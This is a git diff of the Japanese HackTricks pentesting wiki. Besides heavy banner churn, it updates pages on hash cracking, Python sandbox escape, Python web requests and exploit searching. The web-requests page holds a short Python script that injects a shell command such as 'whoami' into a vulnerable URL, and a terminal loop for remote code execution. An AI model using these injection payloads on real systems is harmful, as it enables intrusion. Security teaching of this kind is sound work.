この手法では、ハッシュ値とそれに対応する平文パスワードの事前計算されたテーブルを使用してハッシュをクラックする。ブルートフォース攻撃や辞書攻撃よりも速いが、大量のストレージを必要とする。 +## Rainbow Tables -## ハッシュ・クラッキングのツール +Rainbow tables are precomputed tables of hashes and their corresponding plaintext passwords. They can be used to quickly look up the plaintext password for a given hash, bypassing the need for brute force or dictionary attacks. However, rainbow tables can be large and require a significant amount of storage space. -ハッシュをクラックするためのツールはいくつかある。代表的なものには以下のようなものがある: +## GPU Acceleration -- **John the Ripper**: これは、様々なハッシュタイプとクラッキング技術をサポートする強力なパスワードクラッキングツールです。 -- **Hashcat**: これも人気のあるパスワードクラッキングツールで、幅広いハッシュタイプとクラッキングテクニックをサポートしている。 -- **Hydra**: これは、様々なプロトコルをサポートし、ハッシュクラッキングに使用することができ、汎用性の高いオンラインパスワードクラッキングツールです。 +Graphics Processing Units (GPUs) can be used to accelerate the brute force cracking process. GPUs are highly parallel processors that can perform many calculations simultaneously, making them well-suited for password cracking. Tools like hashcat and John the Ripper support GPU acceleration. ## Conclusion -一般的なアプリケーション・ハッシュのクラックは、ハッカーや侵入テスト担当者にとって不可欠なスキルです。様々なタイプのハッシュ、クラッキング技術、そして利用可能なツールを理解することで、アプリケーションやシス テムへの不正アクセスを効果的に行うことができます。しかし、ハッシュ・クラッキングは、適切な承認を得て、正当な目的でのみ実行されるべきであることに注意することが重要です。 +Brute force attacks, including dictionary attacks, hybrid attacks, and mask attacks, are commonly used to crack application hashes. Rainbow tables and GPU acceleration can also be used to speed up the cracking process. It is important to use strong, unique passwords to protect against these types of attacks. ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash @@ -1669,7 +1281,7 @@ Windowsのハッシュを解読するのに役立つ様々なリソースがあ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** @@ -1677,7 +1289,7 @@ Windowsのハッシュを解読するのに役立つ様々なリソースがあ -![](<../.gitbook/assets/image (9) (1) (2).png>) +
\ [**Trickest**](https://trickest.io/)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\ diff --git a/generic-methodologies-and-resources/python/README.md b/generic-methodologies-and-resources/python/README.md index 3841e05be..047bbf249 100644 --- a/generic-methodologies-and-resources/python/README.md +++ b/generic-methodologies-and-resources/python/README.md @@ -1,6 +1,18 @@ # Python Sandbox Escape & Pyscript -![](<../../.gitbook/assets/image (9) (1) (2).png>) +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 + +
+ +
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ @@ -8,42 +20,30 @@ {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです -* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を入手してください -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - -
- **チェックする興味深いページ:** -* [**Pyscriptハッキングトリック**](pyscript.md) +* [**Pyscriptハッキングのトリック**](pyscript.md) * [**Pythonの逆シリアル化**](../../pentesting-web/deserialization/#python) * [**Pythonサンドボックスをバイパスするトリック**](bypass-python-sandboxes/) * [**基本的なPythonウェブリクエストの構文**](web-requests.md) * [**基本的なPythonの構文とライブラリ**](basic-python.md) -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです -* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を入手してください -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - -
- -![](<../../.gitbook/assets/image (9) (1) (2).png>) +
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ 今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 + +
diff --git a/generic-methodologies-and-resources/python/venv.md b/generic-methodologies-and-resources/python/venv.md index 8a10e4906..c44a99349 100644 --- a/generic-methodologies-and-resources/python/venv.md +++ b/generic-methodologies-and-resources/python/venv.md @@ -1,24 +1,24 @@ # venv -![](<../../.gitbook/assets/image (9) (1) (2).png>) - -\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション * [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
+ +
+ +\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ```bash sudo apt-get install python3-venv #Now, go to the folder you want to create the virtual environment @@ -37,22 +37,23 @@ is fixed running pip3 install wheel inside the virtual environment ``` +
+ +\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\ +今すぐアクセスを取得: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} + +
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family) +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
- -![](<../../.gitbook/assets/image (9) (1) (2).png>) - -\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/python/web-requests.md b/generic-methodologies-and-resources/python/web-requests.md index 171715552..935e8fbca 100644 --- a/generic-methodologies-and-resources/python/web-requests.md +++ b/generic-methodologies-and-resources/python/web-requests.md @@ -1,26 +1,27 @@ # Webリクエスト -![](<../../.gitbook/assets/image (9) (1) (2).png>) - -\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
-## Pythonリクエスト +
+ +\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\ +今すぐアクセスを取得: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} + + +## Python Requests ```python import requests @@ -90,15 +91,11 @@ return ''.join(random.choice(string.ascii_letters) for i in range(10)) ``` ## RCEを悪用するためのPythonコマンド -To exploit an RCE (Remote Code Execution) vulnerability using Python, you can use the following command: - -RCE(リモートコード実行)の脆弱性を悪用するために、Pythonを使用して以下のコマンドを実行します。 - ```python import requests -url = "http://target.com/vulnerable_endpoint" -command = "ls -la" +url = "http://target-website.com/vulnerable-endpoint" +command = "whoami" payload = "; " + command + ";" @@ -107,9 +104,16 @@ response = requests.get(url + payload) print(response.text) ``` -In this example, we are using the `requests` library to send an HTTP GET request to the vulnerable endpoint. We append our desired command to the URL as a payload, separating it with semicolons. The vulnerable server will execute the command and return the output in the response. Finally, we print the response text, which will contain the result of the executed command. +このPythonコマンドは、リモートコード実行(RCE)を悪用するために使用されます。 -この例では、`requests`ライブラリを使用して脆弱なエンドポイントにHTTP GETリクエストを送信しています。URLに望むコマンドをペイロードとして追加し、セミコロンで区切ります。脆弱なサーバーはコマンドを実行し、レスポンスに出力結果を返します。最後に、実行されたコマンドの結果が含まれるレスポンステキストを表示します。 +1. `requests` ライブラリをインポートします。 +2. `url` 変数に、攻撃対象のウェブサイトの脆弱なエンドポイントのURLを指定します。 +3. `command` 変数に、実行したいコマンドを指定します。 +4. `payload` 変数に、コマンドを実行するためのペイロードを作成します。`;` を使用してコマンドを区切ります。 +5. `requests.get()` メソッドを使用して、攻撃対象のウェブサイトに対してリクエストを送信します。ペイロードをURLに追加します。 +6. レスポンスのテキストを表示します。 + +このコマンドを使用すると、攻撃者は脆弱なエンドポイントを介して任意のコマンドを実行できます。 ```python import requests import re @@ -136,22 +140,23 @@ return 1 term = Terminal() term.cmdloop() ``` +
+ +\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ +今すぐアクセスを取得: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} + +
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
- -![](<../../.gitbook/assets/image (9) (1) (2).png>) - -\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/search-exploits.md b/generic-methodologies-and-resources/search-exploits.md index e147aca0e..19ad7ffd0 100644 --- a/generic-methodologies-and-resources/search-exploits.md +++ b/generic-methodologies-and-resources/search-exploits.md @@ -1,34 +1,34 @@ # エクスプロイトの検索 -![](<../.gitbook/assets/image (9) (1) (2).png>) - -\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**することができます。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
+
+ +\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} + ### ブラウザ 常に「google」や他の検索エンジンで検索してください:**\ \[version] exploit** -また、[https://exploits.shodan.io/](https://exploits.shodan.io)の**shodanのエクスプロイト検索**も試してみてください。 +また、[https://exploits.shodan.io/](https://exploits.shodan.io)の**shodanエクスプロイト検索**も試してみてください。 ### Searchsploit -コンソールから**exploitdbのサービスのエクスプロイトを検索**するのに便利です。 +**コンソールからexploitdbのサービスのエクスプロイトを検索**するために便利です。 ```bash #Searchsploit tricks searchsploit "linux Kernel" #Example @@ -48,32 +48,32 @@ msf> search platform:windows port:135 target:XP type:exploit ``` ### PacketStorm -何も見つからない場合は、[https://packetstormsecurity.com/](https://packetstormsecurity.com)で使用されている技術を検索してみてください。 +何も見つからない場合は、[https://packetstormsecurity.com/](https://packetstormsecurity.com) 内で使用されている技術を検索してみてください。 ### Vulners -vulnersデータベースでも検索できます:[https://vulners.com/](https://vulners.com) +vulners データベースでも検索することができます: [https://vulners.com/](https://vulners.com) ### Sploitus -これは他のデータベースでエクスプロイトを検索します:[https://sploitus.com/](https://sploitus.com) +これは他のデータベースでの脆弱性を検索します: [https://sploitus.com/](https://sploitus.com) + +
+ +\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** することができます。\ +今すぐアクセスを取得: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを -* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 +* 